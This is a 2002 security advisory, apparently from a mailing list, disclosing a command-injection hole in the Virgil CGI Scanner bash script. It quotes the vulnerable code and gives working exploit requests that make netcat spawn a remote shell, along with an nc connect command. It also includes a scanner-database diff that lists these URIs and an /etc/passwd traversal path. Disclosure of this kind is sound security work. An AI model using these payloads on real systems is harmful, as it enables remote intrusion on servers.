Virgil CGI Scanner by Mark Ruef has a vulnerability where user input is trusted without being sanitized and is actually populating bash variables which end up getting executed. Simple exploit examples are included.
d904fe4eeff1617f799ad5d492b310acc2605145158faff2c8c8a7b7a546cdac
-----BEGIN PGP SIGNED MESSAGE-----
- - --------------------------------------------------------------------------
KALIF research group kalif@hushmail.com
October 21st, 2002 Joschka Fischer
- - --------------------------------------------------------------------------
- - Overview
Software : Virgil CGI Scanner 0.9
Programmer : Marc Ruef <marc.ruef@computec.ch>
Vulnerability : Privilege Escalation
Status : Author has been notified
Type : remote
- - Issue
Joschka Fischer discovered a security hole in the CGI vulnerability scanner
'Virgil' by Mark Ruef [1] ! By sending a special crafted request one is able
to spawn a remote shell with the privileges of the running CGI script.
Depending on the used software this is either the owner of the script (suExec)
or the user under which the HTTP daemon is executed (usually nobody).
- - Problem Description
Virgil CGI Scanner by Mark Ruef is a simple Bash Script which offers an
interface to start CGI security audits against foreign hosts. The author states
that his software represents the first free online-based CGI scanner and uses a
very effective and fast technique to determine vulnerabilities.
Mark Ruef - a self-proclaimed security expert - recently received fame by posting
different announcements to well-known security mailinglists and by writing a
german book called "Hacking Intern" which deals with common security techniques and
has been released by a german gossip publisher house [2].
To get the Virgil CGI Scanner look at:
https://www.computec.ch/software/webserver/virgil_cgi_scanner/virgil-0.9.tar.gz
MD5SUM: fe098b68c0de04cb0200f2db324ab10b
For a running version visit:
https://scanner.computec.ch/cgi-bin/virgil/virgil.cgi
- - Technical Description
The following vulnerability is present in Virgil CGI Scanner v. 0.9!
BANNER=`echo -e "HEAD / HTTP/1.0\n\n" |nc -w 10 $TARGET $ZIELPORT`
Here, both variables are user-supplied:
TARGET=`echo $QUERY_STRING | awk 'BEGIN{FS="&"}{print $1}' |sed s/"tar="//`
ZIELPORT=`echo $QUERY_STRING | awk 'BEGIN{FS="&"}{print $2}' |sed s/"zielport="// |sed "s/-//g"`
Nevertheless there exist a few restrictions, namly:
- The $QUERY_STRING was not parsed, i.e. %20 for example was not replaced with ' '
- In $ZIELPORT the dash ('-') is filtered out
To test whether the script is vulnerable use the following request and telnet to
the given port number (i.e. 31337):
/cgi-bin/virgil.cgi?tar=-lp&zielport=31337
Exploitation is very straight forwared as long as nc supports the -e command:
'/cgi-bin/virgil.cgi?tar=-le/bin/sh' spawns a remote shell on a port for
exactly 10 seconds ("-w 10")! To connect to this shell execute `nc -v TARGET.COM 1030-6000`
while constantly requesting the URI mentioned above.
- - Workaround / Patch
We are currently not aware of any patches, but we suggest you to update your Virgil
Vulnerable CGI-Script Database accordingly.
*** apache.db.old Sun Oct 23 23:05:05 1983
--- apache.db Sun Oct 23 23:05:05 1985
***************
*** 1,3 ****
--- 1,5 ----
+ cgi-bin/virgil.cgi?tar=-lp&zielport=31337
+ cgi-bin/virgil/virgil.cgi?tar=-lp&zielport=31337
cgi-bin/a1disp3.cgi?/../../../../../../etc/passwd
- - References / Greets
[1] https://www.computec.ch
[2] https://www.amazon.de/exec/obidos/ASIN/381582284X
Pengo for elite VMS security
Nung at the CCC-Congress, next time i will ask for coffee.
-----BEGIN PGP SIGNATURE-----
Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify
wloEARECABoFAj21nuYTHGthbGlmQGh1c2htYWlsLmNvbQAKCRBfQx1m9p9BTXGvAJwL
bceg643rTUH1HXtJFbvmNqAd7gCgsKHGY9J6tFCj/DeB7RYEmrix0q8=
=nBCM
-----END PGP SIGNATURE-----
Get your free encrypted email at https://www.hushmail.com